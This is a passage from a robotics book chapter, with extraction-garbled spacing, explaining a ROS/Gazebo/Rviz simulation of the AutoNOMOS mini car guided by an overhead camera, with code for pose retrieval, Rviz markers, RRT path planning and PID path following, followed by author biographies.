This launch file is also important because is the one used to load our robots insideGazebo. Look at lines 10 and 16: the 2 nodes started with those 2 lines are used tospawn the AutoNOMOS and the “eye in the sky”, respectively. Please notice thatboth are located through a model.sdf file. Just as we did to add a model to the Gazebodefault list, we can add models to our ROS project copying their folders to the nextlocation:

∼/ AutoNOMOS_Stardust / AutoNOMOS_simulation / s rc / autonomos_gazebo / models

Thus, whenever you want to spawn a new model into your world, you must besure to add it in the correct path and write a new “spawn_model” node in your launchfile. However, how to be sure that your spawned model doesn’t collide with an objectin the world? What if you need the robot to spawn into a specific location? Or at agiven angle? The next section sheds some light on these issues.

6.2 Adding the “Eye in the Sky”

Once our world is ready, we aim to include our own robots/models there. In theprevious section we discussed how to tell our system we want certain models to bespawned in the world we prepared for Gazebo, but we must define the way we wantto do that, as for practical purposes this spawn has 6-DOF (Degrees Of Freedom):X,Y and Z location along with Pitch, Roll and Yaw orientation.

You must remember that in robotics (and pretty much in general) there is notsuch a thing as absolute positions or orientations. Every part of a robotic systemis referenced to a global system and/or at least one local system. In this particularproject, it is easier to define our models with respect to a global reference.

Furthermore, our model should be able to interact with the rest of the world. Eventhough you are able to develop models from scratch,6 it is recommendable to workwith existing models; that is indeed the approach we took for this project. As wewanted a camera, the already existing model for the Microsoft Kinect7 was used.

Once the model was acquired, our job is to modify it in order to fulfill our needs.As for this project, two modifications are needed: we want the camera in the skylooking downwards and we need the RGB signal to be sent over ROS topics.

The first task takes just a line. Look at the next piece of code from the model.sdffile in the rgb_cam model folder:

1 <?xml version=" 1.0 " ?>2 <sdf version=" 1.5 ">

6You can even contribute these models to the Gazebo Model Database. For further informationyou can read the following tutorial: http://gazebosim.org/tutorials?tut=model_contrib&cat=build_robot.7It was obtained from the link provided in this tutorial: http://gazebosim.org/tutorials?tut=ros_depth_camera&cat=connect_ros.

[email protected]


3 <model name="rgb_cam">4 < s t a t i c > t r ue< / s t a t i c >5 <pose>0 0 9.17 −1.5708 1.5708 0< / pose>

Lines 4 and 5 are in charge of telling Gazebo that our model (which name is“rgb_cam”) is expected to be static (that is, it shouldn’t move despite forces likegravity), located at the point (0, 0, 9.17) measured in meters, and orientated by Pitch= −1.5708, Roll = 1.5708 and Yaw = 0 given in radians. In other words, we want thecamera to remain 9.17 m above the center of the world looking to the ground.

Once the camera is where we need it, we want ROS to acquire data from it. To dothis, we need a plugin; however, unlike the plugin discussed before, you don’t needto compile this, just add it to your model.sdf file. Look how this works:

26 <sensor type="camera" name=" sky_camera ">27 <update_ra te>30.0< / update_ra te>28 <camera name="rgb_cam">29 <hor izon ta l_ fov>1< / hor izon ta l_ fov>30 <image>31 <width>640< / width>32 <height>640< / height>33 <format>R8G8B8< / format>34 < / image>35 < c l i p>36 <near>0.02< / near>37 < f a r>300< / f a r>38 < / c l i p>39 <noise>40 <type>gaussian< / type>41 <!−− Noise i s sampled independent ly per p i x e l on

each frame .

42 That p i x e l ’ s noise value i s added to each ofi t s co lor

43 channels , which a t t h a t po in t l i e in therange [ 0 , 1 ] . −−>

44 <mean>0.0 </mean>45 <stddev >0.007 </ stddev >46 </ noise >47 </camera>48 <plugin name=" camera_cont ro l le r " fi lename ="

libgazebo_ros_camera . so">49 <alwaysOn>true </alwaysOn>50 <updateRate >0.0 </ updateRate >51 <cameraName>sky_camera </cameraName>52 <imageTopicName>image_raw </ imageTopicName>53 <cameraInfoTopicName>camera_info </

cameraInfoTopicName>54 <frameName>camera_link </frameName>55 <hackBaseline >0.07 </ hackBaseline >56 <dis tor t ionK1 >0.0 </ dis tor t ionK1 >57 <dis tor t ionK2 >0.0 </ dis tor t ionK2 >58 <dis tor t ionK3 >0.0 </ dis tor t ionK3 >59 <dis to r t ionT1 >0.0 </ d i s to r t ionT1 >60 <dis to r t ionT2 >0.0 </ d i s to r t ionT2 >

[email protected]


61 </ plugin >62 </ sensor >

From line 26 we are stating that the only link (piece) of our model is actually asensor, specifically a camera. Lines 28–47 allow us to define the technical propertiesof our modeled cam (just as different models in market have different properties, wecan modify our model to fit our needs).

Lines 48–61 are actually the plugin; please notice that this plugin is INSIDE thedefinition of the sensor and OUTSIDE the definition of the camera properties. Theplugin, as it is, is already allowing the cam to publish its image as a ROS topic8 oftype sensor_msgs/Image. However, you may want to change the name of this topic(actually, you need first to actually know the name in order to subscribe). This pluginis actually publishing many topics, but the one that contains the message of interestis called “/cameraName/imageTopicName”.

Now look at lines 51 and 52: that is where you define cameraName and image-

TopicName. Therefore, if you wish to get the images of this camera from a ROSnode, you should subscribe to the “/sky_camera/image_raw” topic.

From this point, you should be able to setup as much cameras as you need inGazebo for a ROS project. However, even if for this specific task we needed anadditional plugin for communication between Gazebo and ROS, the simulator itselfis able to send some information to ROS. That is what we will discuss in the nextsection.

6.3 Getting Poses Data from Gazebo

Whenever it comes to mobile robotics, pose estimation plays a key role. Work in thisarea is extensive, but Gazebo provides us a solution for this task in the simulatedenvironment. As mentioned before, in robotics there is not such a thing as absolutepositions or orientations; and this is particularly important when it comes to simula-tions, because there is no way in which the components of the simulated world caninteract if there is not a certainty on the pose of each one of them.

The last point is really important, since Gazebo then knows at every moment thepose of all the models in the world. The intuitive idea then is to use this knowledgefor our ROS project.9 In this particular project, Gazebo poses are particularly usefulfor display purposes rather than actually pose estimation10; however, the knowledgeon how to extract poses from Gazebo can be really useful for the reader in many

8To get a deeper understanding of Gazebo plugins with ROS you can check this tutorial: http://gazebosim.org/tutorials?tut=ros_gzplugins.9When we are doing research or testing submodules of a system, it is often necessary to assumethat some specific problems (like pose estimation in this case) are solved. However, be careful asthis is just an assumption.10Instead of using an IMU, Gazebo poses are used to estimate the orientation of the AutoNOMOS.However this is the only use of Gazebo poses in order to help with navigation.

[email protected]


Fig. 9 The models included in the world are indicated with a red key ()

tasks, and that is the motivation for this section. Fortunately, all the information meneed is published by Gazebo to a specific topic: “/gazebo/model_states”.

The first thing to point out is that messages published by Gazebo are, indeed, aspecial type of message. In particular for the aforementioned topic, we are dealingwith a message of type gazebo_msgs/ModelStates. By reading the ROS documen-tation on this type,11 the first thing we should notice is that the message is basicallycomposed of 3 different messages, from which every one is an array: each elementof the array corresponds to one of the models in our world.

Given this, if you want to get the information of a specific model, you just needto know its index. This is simple, because the order of the array is the same as theorder in which the models are displayed in Gazebo (look at Fig. 9).

However, given the nature of our project, every time the project is run the order ofthe spawned models is prone to change, so it is impossible to hard code the index ofthe desired model. In the skycam_nodelet.cpp file of the skycam package, we presenta simple workaround about this; we show you here the function called back anytimea gazebo_msgs/ModelStates message comes from the “/gazebo/model_states” topic:

717 void Skycam::GetStates ( const gazebo_msgs::ModelStates &msg)718 719 for ( i n t model = 0; model < msg . name . s i z e ( ) ; model++)720 721 i f (msg . name[ model ] == " uni t_cy l inder_0 " )722 723 s t a t e _ . model_name = msg . name[ model ] ;724 s t a t e _ . pose = msg . pose [ model ] ;725 s t a t e _ . t w i s t = msg . t w i s t [ model ] ;726 727 i f (msg . name[ model ] == "AutoNOMOS_mini" )

11http://docs.ros.org/jade/api/gazebo_msgs/html/msg/ModelStates.html.

[email protected]


728 729 f l o a t imuX = msg . pose [ model ] . o r i e n t a t i o n . x ;730 f l o a t imuY = msg . pose [ model ] . o r i e n t a t i o n . y ;731 f l o a t imuZ = msg . pose [ model ] . o r i e n t a t i o n . z ;732 f l o a t imuW = msg . pose [ model ] . o r i e n t a t i o n .w;733734 t f : : Q u a t e r n i o n q1 (imuX, imuY, imuZ ,imuW) ;735 t f : :Ma t r ix3x3 m( q1 ) ;736 Rt_ = m;737738 double r o l l , p i tch , yaw ;739 m. getRPY( r o l l , p i tch , yaw) ;740 current_yaw_ = f l o a t (yaw) ;741 / /ROS_INFO_STREAM( "Yaw: " << current_yaw_ ) ;742 sta tus_ok_ = t r ue ;743 744 745

In lines 721 and 727 we store the information of interest from the models thatare called “unit_cylinder_0” and “AutoNOMOS_mini”, respectively. We know thisnames because that is the way we called those models; if you are in doubt of how youcalled them, notice that the names correspond to the way they are called in Gazebo(refer again to Fig. 9).

If you read carefully, from the AutoNOMOS we are only getting its orientation(please notice that it is expressed in the incoming message as a quaternion). Why arewe storing information about a cylinder? This is because we need to keep track ofthe modifications in the Gazebo world to update the map showed in Rviz. We willtalk next about how to work with Rviz.

6.4 Sending Markers to Rviz

By “markers” we are referring shortly to visualization_msgs/Marker messages,which are used to send basic geometrical shapes (such as cubes, spheres, arrows,etc.) ro Rviz. Using them, we can populate our Rviz map with many useful objectsfor displaying purposes. Actually, in Fig. 6 the red blocks as well as the path gen-erated by blue dots and green lines are generated by sending markers though ROStopics. In this section, we will discuss how to send markers to Rviz, how to updatethem and how to clean them; this will be done separately for 3D figures and 2D linesusing points.

First at all, we need to identify the topic used for markers in Rviz. The defaulttopic to which we should publish is called “visualization_marker”:

marker_pub_ = n_ . a d v e r t i s e<visua l iza t ion_msgs : :Marker>( "v i sua l i za t ion_marker " , 10) ;

[email protected]


This topic is enough to send as much different objects as we want, but we mustcreate a new variable for each one of them. Here is an example from the include fileof the using_markers package12:

visua l iza t ion_msgs : :Marker unit_box_0_ ;v isua l iza t ion_msgs : :Marker uni t_cyl inder_0_ ;v isua l iza t ion_msgs : :Marker uni t_cyl inder_1_ ;v isua l iza t ion_msgs : :Marker unit_box_1_ ;v isua l iza t ion_msgs : :Marker unit_box_2_ ;v isua l iza t ion_msgs : :Marker unit_box_3_ ;

v isua l iza t ion_msgs : :Marker marker_points_ , l i n e _ s t r i p _ ;

Each one of them should be constructed with their own particular attributes beforepublishing. For educational purposes, we will construct here the unit_box_0_ mes-sage as an example for 3D figures. The next sample code is constructed from theusing_markers_nodelet.cpp file in the package:

1 / / Set the frame ID and timestamp . See the TF t u t o r i a l s for

in format ion on these .

2 unit_box_0_ . header . frame_id = " ground_plane : : l i nk " ;3 unit_box_0_ . header . stamp = ros : : Time : : now( ) ;45 / / Set the namespace and id for t h i s marker . This serves to

create a unique ID

6 / / Any marker sen t with the same namespace and id w i l l

overwri te the old one

7 / / %Tag(NS_ID)%

8 unit_box_0_ . ns = " basic_shapes0 " ;9 unit_box_0_ . id = 0;

10 / / %EndTag(NS_ID)%

1112 / / Set the marker type . This is , the des ired shape

13 / / %Tag(TYPE)%

14 unit_box_0_ . type = visua l iza t ion_msgs : : Marker : :CUBE;15 / / %EndTag(TYPE)%

1617 / / Set the marker ac t ion . Options are ADD, DELETE, and new in

ROS Indigo : 3 (DELETEALL)

18 / / %Tag(ACTION)%

19 unit_box_0_ . ac t ion = visua l iza t ion_msgs : : Marker : :ADD;20 / / %EndTag(ACTION)%

2122 / / Set the pose of the marker . This i s a f u l l 6DOF pose

r e l a t i v e to the frame / time s p e c i f i e d in the header

23 / / %Tag(POSE)%

24 unit_box_0_ . pose . p o s i t i o n . x = −0.856451;25 unit_box_0_ . pose . p o s i t i o n . y = −2.31594;26 unit_box_0_ . pose . p o s i t i o n . z = 0.499799;27 unit_box_0_ . pose . o r i e n t a t i o n . x = 0 . 0 ;28 unit_box_0_ . pose . o r i e n t a t i o n . y = 0 . 0 ;29 unit_box_0_ . pose . o r i e n t a t i o n . z = 0 . 0 ;

12/AutoNOMOS_Stardust/AutoNOMOS_simulation/src/using_markers.

[email protected]


30 unit_box_0_ . pose . o r i e n t a t i o n .w = 1 . 0 ;31 / / %EndTag(POSE)%

3233 / / Set the scale of the marker −− 1x1x1 here means 1m on a

s ide

34 / / %Tag(SCALE)%

35 unit_box_0_ . sca l e . x = 3.07935;36 unit_box_0_ . sca l e . y = 1 . 0 ;37 unit_box_0_ . sca l e . z = 1 . 0 ;38 / / %EndTag(SCALE)%

3940 / / Set the color −− be sure to s e t alpha to something non−zero

!

41 / / %Tag(COLOR)%

42 unit_box_0 . color_ . r = 1.0 f ;43 unit_box_0 . color_ . g = 0.0 f ;44 unit_box_0 . color_ . b = 0.0 f ;45 unit_box_0 . color_ . a = 1 . 0 ;46 / / %EndTag(COLOR)%

4748 / / %Tag(LIFETIME)%

49 unit_box_0 . l i f e t i m e _ = ros : : Duration ( ) ;50 / / %EndTag(LIFETIME)%

51 / / %EndTag( INIT )%

5253 marker_pub_ . publ i sh ( unit_box_0_ ) ;

Most of the code may be self-explanatory, but for further reference you can readthe whole tutorial on the topic in the ROS wiki.13 Nonetheless, there are some par-ticularities we wish to discuss here.

First, look at line 2. As aforementioned, in robotics there is not a thing such asabsolute positions or orientations; as so, we need to tell our shape what is its point ofreference: that is exactly what we are doing at line 2. Furthermore, when you actuallyopen Rviz, you may notice an option called “Fixed Frame” in the Displays panel;this is where we tell Rviz the Gazebo element to be used as reference for our Rviz 3Dmap. To avoid further problems, opt to always set the frame_id and the fixed frameto the same value; in this case, the ground model in our Gazebo simulation.

From lines 8 and 9 we are just giving identifiers to the objects we want to publishin Rviz; be sure to don’t repeat id values, because otherwise the most recent publishedshape with a certain id will replace previous shapes published with the same id.

Line 19 is used to tell Rviz what we want to do with the given shape. As with thisexample we want to add shapes to the map, we select the option ADD.

Lines 24–30 and 35–37 are used to define geometry. The values shown in thiscode were copied from the sdf file of our Gazebo world, to match the Gazebo world.However, do you remember the little white window from Fig. 3? It is used to moveone of the red blocks in the Gazebo world and reflect the new position in Rviz. Takea look at the next piece of code from the using_markers_nodelet.cpp file:

13http://wiki.ros.org/rviz/Tutorials/Markers%3A%20Basic%20Shapes.

[email protected]


236 void UsingMarkers::MoveCylinder ( const s td_msgs : : In t8 &key )237 238 i f ( key . data == 1)239 240 uni t_cyl inder_0_ . pose . p o s i t i o n . y = model_state_ . pose .

p o s i t i o n . y + 0 . 1 ;241 242 e l s e i f ( key . data == 2)243 244 uni t_cyl inder_0_ . pose . p o s i t i o n . x = model_state_ . pose .

p o s i t i o n . x + 0 . 1 ;245 246 e l s e i f ( key . data == 3)247 248 uni t_cyl inder_0_ . pose . p o s i t i o n . y = model_state_ . pose .

p o s i t i o n . y − 0 . 1 ;249 250 e l s e i f ( key . data == 4)251 252 uni t_cyl inder_0_ . pose . p o s i t i o n . x = model_state_ . pose .

p o s i t i o n . x − 0 . 1 ;253 254255 marker_pub_ . publ i sh ( uni t_cyl inder_0_ ) ;256

With the help of the cylinder_keyboard package we are managing keyboard pressevents14 to sent integer values through a ROS topic, and that message is caughtwith the function in the code above. As you may notice, we have different optionsaccording to the key pressed, but all of them are based on the same principle: takingthe current position of the cylinder, updating it according to the key pressed, storingthe updated value in the object to move, and publishing the updated object to Rviz.

With this, you already know how to add and update 3D shapes in you Rviz map.However, objects themselves are not the only shapes of interest in a map: wheneveryou have a physical map, it is often useful to draw on it things such as routes, relevantpoints, etc. We can do that in Rviz as well and that is the next topic to discuss.

In Fig. 6 you can see the route planned by the AutoNOMOS to reach the desiredpoint. Although that is not really useful for the vehicle itself, it is useful for us asspectators to understand the decision making of the system and to value how well itis following the plan. To add this kind of markers, the process is pretty similar to theone presented for 3D shapes.

In this particular application, we will draw a set of points and lines connectingsuch points. To do this, we create a new visualization_msgs::Marker message for thepoints and another one for the lines, and initialize them:

1 marker_points_ . header . frame_id = l i n e _ s t r i p _ . header . frame_id =" ground_plane : : l ink " ;

2 marker_points_ . header . stamp = l i n e _ s t r i p _ . header . stamp =ros: :Time::now ( ) ;

14The available keys are WASD and up, down, left, right.

[email protected]


3 marker_points_ . ns = l i n e _ s t r i p _ . ns = " poin t s_and_l ines " ;4 marker_points_ . ac t ion = l i n e _ s t r i p _ . ac t ion =

visualization_msgs::Marker: :ADD ;5 marker_points_ . pose . o r i e n t a t i o n .w = l i n e _ s t r i p _ . pose .

o r i e n t a t i o n .w = 1 . 0 ;67 marker_points_ . id = 0;8 l i n e _ s t r i p _ . id = 1;9

10 marker_points_ . type = visualizat ion_msgs::Marker: :POINTS ;11 l i n e _ s t r i p _ . type = visualization_msgs::Marker::LINE_STRIP ;1213 / / POINTS markers use x and y sca l e fo r width / he ight

r e s p e c t i v e l y14 marker_points_ . sca l e . x = 0 . 2 ;15 marker_points_ . sca l e . y = 0 . 2 ;1617 / / LINE_STRIP / LINE_LIST markers use only the x component of

scale , fo r the l i n e width18 l i n e _ s t r i p _ . sca l e . x = 0 . 1 ;1920 marker_points_ . co lor . b = 1.0 f ;21 marker_points_ . co lor . a = 1 . 0 ;2223 / / Line s t r i p i s blue24 l i n e _ s t r i p _ . co lor . g = 1 . 0 ;25 l i n e _ s t r i p _ . co lor . a = 1 . 0 ;

Note that only relevant differences from before are that the shape types are nowPOINTS and LINE_STRIP, and that no position is given. This two messages arecomposed by sets of points and lines, that is why we don’t have an specific position.

As so, we need to define those two sets. However, this is done simply by defin-ing the desired points (notice that this points are variables of the type geome-try_msgs::Point). The next function is in charge of catching the points publishedby the path planner:

1 void UsingMarkers::NewPoint ( const geometry_msgs::Point &new_point )

2 3 i f ( new_point . z == 0 .2 )4 5 p_ . x = new_point . x ;6 p_ . y = new_point . y ;7 p_ . z = new_point . z ;8 marker_points_ . po in t s . push_back ( p_ ) ;9 l i n e _ s t r i p _ . po in t s . push_back ( p_ ) ;

10 11 e l s e i f ( new_point . z == 0 .4 )12 13 marker_pub_ . publ i sh ( marker_points_ ) ;14 marker_pub_ . publ i sh ( l i n e _ s t r i p _ ) ;15 16 e l s e

[email protected]


17 18 marker_points_ . po in t s . c l e a r ( ) ;19 l i n e _ s t r i p _ . po in t s . c l e a r ( ) ;20 marker_pub_ . publ i sh ( marker_points_ ) ;21 marker_pub_ . publ i sh ( l i n e _ s t r i p _ ) ;22 23

According to the z value of the point received, we have three possible actions:add a new point p to the list of points of both marker messages, publish the markers,or clean the points of both markers to publish them. And that is it, when you publishthis markers, Rviz will draw all of the points in the points list of the maker_points_

variable, and all the lines connecting two consecutive points in the points list of theline_strip_ variable. With this knowledge, you can draw as many points or lines youneed according to your project requirements. However, before closing this section,we want to briefly discuss how to add a tracker for a certain model in the Gazebosimulation and how to communicate compatible ROS messages from your project toRviz visualizations.

In the Displays panel of Rviz, you have an Add button. Once you click it, a menuwill pop up; there, select the Axes option and click Ok. A new Axes object will appearin the Displays panel. Expand it and look for the Reference Frame option: there youshould select a link of the model to track. With this, the model of interest will berepresented in the Rviz map as coordinate system.

Notice that the Axes option was in the By display type tab. If you want to explorewhich topics published in your project are visualizable in Rviz, move to the By topic

tab. There, Rviz will list by type all of your current topics that are compatible withRviz. The “Laser”, “RRT”, “FrontCam” and “UpperCam” windows in Fig. 2 wereadded this way.

At this point you know how to create Gazebo worlds and models, how to com-municate with Gazebo from ROS to spawn models and retrieve information, howto add markers to Rviz for visualization, how to update this markers automaticallywhen required, how to keep position tracking of models in the Gazebo simulation,and how to visualize topics of interest in Rviz.

From this point, all what is left is to explain the package in charge of solving theproblem that motivated this project: skycam.

6.5 Path Planning and Following

Before discussing the package itself, we will discuss the substeps used to solve theproblem. Basically, the whole code goes around 3 cyclic, sequential states: stand-by,planning the path, and following the planned path. Those states are repeated overand over until the project is shut down, but some additional considerations wereadded to the work flow to deal with some particular cases. You can see a graphicalrepresentation of the complete workflow in Fig. 10.

[email protected]


Fig. 10 Workflow of the skycam package

Each one of the states in the graph involves subtasks to be properly performed.The rest of this section will be destined to briefly explain how this states are executedin the skycam package.

6.6 Stand-by: Waiting for a Point

Remember that this whole project is inspired by the idea of an “eye in the sky”,being that aerial camera the main source of information for the vehicle. As such, wewant the vehicle to act according to the information sent by the camera. That is whythe state machine depicted in Fig. 10 is contained in the function used as callbackwhenever a frame is received from the camera. This function is

void Skycam::SkyImage ( const sensor_msgs::ImageConstPtr &msg)

Whenever this function is called, the message from the camera is processed to getthe information of interest from the world observed. However, as long as no point hasbeen published from Rviz, the system won’t do anything besides processing images;that is why we say the system is in stand-by.

At this point, the goal is defined as the point (−1,−1). When a goal point ispublished by Rviz, the next function is called:

1 void Skycam::GoalFromRviz ( const geometry_msgs::PoseStamped &goal_rv iz )

2 3 FinishTrack ( ) ;4 f l o a t cent imeters_per_meter = 100;5 goal_ . x = i n t ( goa l_rv iz . pose . p o s i t i o n . x ∗

cent imeters_per_meter ∗ pixe l s_per_cen t imete r_ +6 sky_image_ . co l s / 2) ;

[email protected]


7 goal_ . y = i n t ( sky_image_ . co l s / 2 −

8 goa l_rv iz . pose . p o s i t i o n . y ∗

cent imeters_per_meter ∗

pixe l s_per_cen t imete r_ ) ;9 ROS_INFO_STREAM( goal_ ) ;

10 state_machine_ = 1;11

Notice that a 3D point is being mapped to a 2D coordinate in an image. Thepixels_per_centimeter_ variable was measured specifically for this project, usingthe current position of the camera; this parameter as well as some other ones canbe easily changed in the config file of the package.15 As a coordinate in an imagecannot be expressed with negative numbers, whenever goal.x > 0 a flag is activated(goal_selected_ = true). Therefore, the system is no longer waiting for a point, andit needs a path to reach the desired point (goal_).

6.7 Planning a Path

Whenever the system is waiting a point or planning a path, a control flag(state_machine_) has an integer value of 1. When goal_selected_ == true &state_machine_ == 1, the SkyImage() function executes a subroutine for pathplanning. The most important part of this routine is the next function:

vec tor<Point> Skycam::RRT (Mat map_to_analyze , Mat car_map ,Point goal , i n t beam , f l o a t scale , f l o a t car_pose )

The function is too long to write it down here, but we will mention some details.As you may notice, the name of the function is RRT ; this is because the function isusing a RRT algorithm as described in Sect. 2. To execute this algorithm, we needthe map of the world (map_to_analyze), a way to locate the vehicle (car_map), thegoal to reach (goal), and the orientation of the vehicle (car_pose). The other twoparameters are just used for performance purposes.

For the scope of this work, the map_to_analyze is gotten as a pixel-wise occupancygrid defined by a color segmentation strategy, where any red element in the frame isidentified as an obstacle. In a similar way, the car_map is identified by looking for agreen object in the frame; unlike the map_to_analyze, we don’t create an occupancygrid but get the centroid of the blob corresponding to the car in the frame. To dealwith illumination issues, the frame is first transformed from RGB to the Lab colorspace. Once in the Lab space, a threshold is applied on the second channel for binarycolor segmentation (either for red or green).

Notice that the RRT function returns a vector of points; however, this points aredefined over the coordinate system defined by the analyzed image, because that iswhat our vehicle can understand from the external eye. Nonetheless, inside the func-

15/AutoNOMOS_Stardust/AutoNOMOS_simulation/src/skycam/config/config.yaml.

[email protected]


tion itself the skycam package is publishing these points as 3D points for visualizationin Rviz; the publisher for this task is path3D_.

Once the path is planned there is no more to do in this state and state_machine_

changes its value to 2. However, sometimes it is actually impossible to find a pathgiven the current conditions of the world; if that is the case, the RRT returns an emptypath and the object_too_close_ flag is activated (object_too_close_ = true). Whenthe object_too_close_ flag is true, the car will try to move backwards for a few secondsand the RRT function will be called again; the only way to deactivate the flag is tofind a non-empty path.

If a non-empty path was found, then the system goes into state 2, that is, followingthe path (state_machine_ = 2).

6.8 Following a Path

Being in state 2 means we were able to find a valid path, and then we wish to reachthe desired goal following the given path. To this, we implement 2 parallel PIDcontrollers (a compound one for steering and another one for velocity) as describedin Sect. 2; you can refer to Fig. 11 for a more detailed insight of the control strategy. Inthis section, we will just talk briefly about the refinement techniques used to improvethe performance of the system.

Even if the two controllers are able to control position and orientation, we can’tignore a key concept as the inertia. If the car is at high speed when reaching the goal,it will surpass it; if the car tries to turn at high speed, it will most likely lose control.To work around this, there are two speed restrainers that act over the control lawdefined by the PIDs:

Fig. 11 Block diagram describing the overall 3-PIDs control strategy used for path following

[email protected]


– The most points of the path the vehicle has reached, the lower the speed limit– The greater the steering angle, the lower the speed limit

Additionally, let’s consider the case where the car surpassed any given checkpoint:it is clear that it needs to move backwards. However, think of this case: the car isin front of the desired point, and a bit to the left of the proposed path. The PID forthe steering will conclude that the wheels need to turn to the right, while the PIDfor the velocity will conclude that the car needs to move backwards: even if the carreaches the desired point, it will be facing a totally misaligned direction. To workaround this, the control law obtained from the PID for steering is multiplied by −0.5anytime the control law obtained from the PID for velocity is <0. In practice, thisshowed to give good results.

As such, whenever the AutoNOMOS reaches the goal point with a certain toler-ance, the process is considered a success. The goal is defined to be (−1,−1) again,the goal_selected_ flag becomes false and the state_machine_ variable is returnedto 1. However, what happens if the map changes while the vehicle is following itspath?

In this case, the AutoNOMOS uses its on-board laser scan16 to detect new possibleobstacles: if an object in front of it is close, the system compares the current mapwith the one used to plan the route. The laser scan detects objects horizontally allaround the car (360 with 1 resolution; from 0.08 to 6 m with 1 cm resolution17),but only a portion in front of the car is evaluated; consider this as the field of view ofthe vehicle. If the zone evaluated by the scan is considerably different from what itused to be according to the images, the car stops and it plans a new path to reach thedesired goal. Once the new path is obtained, the AutoNOMOS continues to movefollowing this new route until it reaches the goal. And, then again, the system returnsto the stand-by state.

7 Conclusions

From the current chapter, the reader was provided with the knowledge to use ourpackage for autonomous driving using the AutoNOMOS mini model. Particularly,a parallel use of Gazebo and Rviz along with ROS was used to test a proposedsolution for both tasks of planning and following a path autonomously for semi-static environments, using an external sensor in the form of an aerial camera (or “eyein the sky”).

16For this project, the AutoNOMOS has only two embedded sensors: a frontal color camera andthe above mentioned laser scan. From these, the only one used for navigation is the laser, while thefront cam is only used for visualization purposes.17These specifications can be changed within the model.sdf file correspondingto the AutoNOMOS model in /AutoNOMOS_Stardust/AutoNOMOS_simulation/src/autonomos_gazebo/models/AutoNOMOS_mini.

[email protected]


There are many details about the system that are not described in this chapter; fora deeper understanding, we invite the reader to look carefully at the code provided inthe repository. However, we think that the information provided in this text is enoughnot only to use the project but to modify it and extend it. This last task is of particularinterest, since there is much that can be improved. But, either if it is to extend thework, to create a new solution using our repository as framework, or simply to learnmore tools for using ROS, we expect our work is helpful for you.

References

1. LaValle, S.M., Kuffner Jr., J.J.: Randomized kinodynamic planning. Int. J. Robot. Res. 20(5),378–400 (2001)

2. Caubet, A., Biggs, J.D.: An Efficient, Singularity Free Attitude Controller on SO(3). Universityof Strathclyde (2013)

3. Kuwata, Y., Teo, J., Fiore, G., Karaman, S., Frazzoli, E., How, J.P.: Real-time motion planningwith applications to autonomous urban driving. IEEE Trans. Control Syst. Technol. 17(5), 1105–1118 (2009)

4. Kurniawati, H., Fraichard, T.: From path to trajectory deformation. In: 2007 IEEE/RSJ Interna-tional Conference on Intelligent Robots and Systems, San Diego, CA, 2007, pp. 159–164

5. Ieee-ras.org.: National science foundation video on rescue robotics features IEEE and RASFellow-IEEE robotics and automation Society. http://www.ieee-ras.org/about-ras/latest-news/1241-national-science-foundation-video-on-rescue-robotics-features-ieee-and-ras-fellow(2018). Accessed 29 Apr 2018

6. Hu, X., Chen, L., Tang, B., Cao, D., He, H.: Dynamic path planning for autonomous driving onvarious roads with avoidance of static and moving obstacles. Mech. Syst. Signal Process. 100,482–500 (2018)

Rodrigo Rill-García has been working at Instituto Tecnológico y de Estudios Superiores deMonterrey (ITESM) in Puebla, Mexico since 2016 as Adjunct Professor in the Department ofMechatronics Engineering. He obtained a B.S. in Mechatronics Engineering from the sameinstitution in 2015. He is currently sponsored by CONACyT for working towards a Masters degreein Computer Science at Instituto Nacional de Astrofísica, Óptica y Electrónica (INAOE), in thesame state.

Jose Martinez-Carranza is Associate Professor in the Computer Science Department at theInstituto Nacional de Astrofisica, Optica y Eletronica (INAOE) and Honorary Senior ResearchFellow at the Computer Science Department in the University of Bristol. He obtained a B.Sc.in Computer Science (Cum Laude) from the Benemerita Universidad Autonoma de Puebla in2004, and an M.Sc. in Computer Science (Best Student) from INAOE in 2007, both institutionsin Mexico. In 2012, he received his Ph.D. from the University of Bristol in the UK, where healso worked as Postdoctoral Researcher from 2012 to 2014. He received the highly prestigiousNewton Advanced Fellowship (2015–2018), granted by the Royal Society in the UK to workwith autonomous drones in GPS-denied environments. He also leads a Mexican team that hasachieved outstanding performance in International Drone Competitions: 1st Place in the IROS2017 Autonomous Drone Racing competition; 2nd Place in the International Micro Air Vehiclecompetition (IMAV) 2016 and ranked 4th in the IMAV 2017.

[email protected]


Edgar Granados is a M.Sc. in Computer Science student and part-time professor at the Insti-tuto Tecnológico Autónomo de México (ITAM). He received a B.S. in Computer Engineering anda B.S. in Industrial Engineering at ITAM. He received a CONACYT scholarship to pursue hisMasters and spend the summer of 2018 in a research internship at Rugers University PRACSYSLab. He has been a member of ITAM’s robotics lab since 2004 where he has worked in multi-ple projects such as the RoboCup SPL team, the RoboCup SSL team, and the AutoNOMOs carproject. As a member of the lab, he has published at RSS workshops and at COMROB. Also,he has contributed and participated in robotics tournaments such as the RoboCup and the Mex-ican Tournament of Robotics. His main research interests are motion planning and probabilisticrobotics.

Marco Morales is an Assistant Professor in the Department of Digital Systems at the InstitutoTecnológico Autónomo de México (ITAM). His main research interests are in motion planningand control for autonomous robots. He received a Ph.D. in Computer Science from Texas A&MUniversity, a M.S. in Electrical Engineering and a B.S. in Computer Engineering from UniversidadNacional Autónoma de México (UNAM). He was awarded a Fulbright/García Robles scholarshipto pursue his Ph.D., a CONACYT scholarship to pursue his Masters, and was a SuperComputingScholar at UNAM. He has been member of the National System of Researchers in Mexico. He hasserved as Associate Editor for IEEE ICRA, IEEE/RSJ IROS and for the Robotics and AutomationLetters (RA-L). He has also served as organizer of international and local robotics research andcompetition meetings including being one of the chairs of the Eight International Workshop on theAlgorithmic Foundations of Robotics (WAFR) in 2008 and 2018, chair of the Mexican RoboticsTournament in 2011, and member of the organizing committee of the RoboCup 2012 and sev-eral editions of the Mexican Robotics Tournament and Mexican School of Robotics. He is Pres-ident and founder member of the Mexican Federation of Robotics where he has being a memberof the Board of Directors since 2010. He is chair of the Mexican Council of the IEEE Roboticsand Automation Society.

[email protected]

Quadcopters

[email protected]

Parametric Optimization for Nonlinear

Quadcopter Control Using Stochastic

Test Signals

Antonio Matus-Vargas, Gustavo Rodriguez-Gomez and Jose

Martinez-Carranza

